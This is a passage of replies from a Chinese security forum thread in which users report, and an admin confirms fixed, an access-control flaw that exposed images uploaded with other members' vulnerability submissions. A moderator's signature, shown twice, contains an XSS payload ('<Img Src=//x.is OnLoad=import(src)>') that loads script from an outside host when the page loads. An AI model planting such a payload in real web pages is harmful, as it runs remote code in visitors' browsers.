登录 注册
导航
T00ls » 论坛事务(Forum Affairs)

[【Bugs反馈】] t00ls别人提交漏洞还是可以查看（已修复）

冰雪梅花 2022-04-26 09:52 4508 29
ethanwienerUID:14378僵尸会员
积分:9TCV:0TuBi:14坛龄:5年165天
2022-04-26
#11
什么0day？
security68UID:11663僵尸会员
积分:211TCV:0TuBi:172坛龄:9年零57天
2022-04-26
#12
看到标题白高兴了一场  哈哈
t00ls管理团队01T00ls认证管理员，如需认证，请联系admin@t00ls.netUID:5872管理团队活跃会员勋章五年陈老会员勋章十年陈老会员勋章T00ls土豪勋章
积分:2328TCV:41TuBi:629坛龄:14年154天活跃5级
2022-04-26
#13
图片泄露，确实存在，已经修复！
T00.ls：https://t00.ls/t00ls
T00ls官方Telegram公开频道：https://t.me/T00lsCom
T00ls官方Telegram群：https://t.me/T00lsTB
T00ls官方Twitter：https://twitter.com/T00lsCom
SuNu11UID:8441版主活跃会员勋章五年陈老会员勋章十年陈老会员勋章
积分:330TCV:2TuBi:904坛龄:10年116天活跃5级
2022-04-26
#14
我之前这篇文章也有提到过https://www.t00ls.com/thread-59885-1-1.html，后来验证修复了，难道不是同一个地方？
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>
冰雪梅花UID:15118潜水会员楼主
积分:90TCV:0TuBi:392坛龄:4年231天
2022-04-26
#15
@SuNu11 师傅，我看不了你的帖，我想看看，说不定还能发现点什么东西
SuNu11UID:8441版主活跃会员勋章五年陈老会员勋章十年陈老会员勋章
积分:330TCV:2TuBi:904坛龄:10年116天活跃5级
2022-04-27
#16
就是上传图片都会有个id，没有作鉴权，你找个接口调一下就能看到，
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>
SuNu11UID:8441版主活跃会员勋章五年陈老会员勋章十年陈老会员勋章
积分:330TCV:2TuBi:904坛龄:10年116天活跃5级
2022-04-27
#17
回复 15# 冰雪梅花



    看看我下面评论的哈～忘了点回复按钮了
冰雪梅花UID:15118潜水会员楼主
积分:90TCV:0TuBi:392坛龄:4年231天
2022-04-27
#18
回复 16# SuNu11

师傅，用这种方法就可以看到你的文章了嘛
T4y1oRUID:14989注册会员
积分:280TCV:2TuBi:424坛龄:4年302天活跃5级
2022-04-27
#19
错过错过。可惜了
dm-xyUID:12203潜水会员活跃会员勋章五年陈老会员勋章
积分:327TCV:1TuBi:99坛龄:8年204天
2022-04-27
#20
唉 又错过一个0day 能不能挖一点 越权查看需要20权限阅读的文章啊
123
冰雪梅花 潜水会员楼主
11主题 146帖子 392TuBi
TA的主页 私信TA 返回版块 社区首页

本版最新

T00.ls | GMT+8, 2026-11-13 03:44

Powered by T00ls.com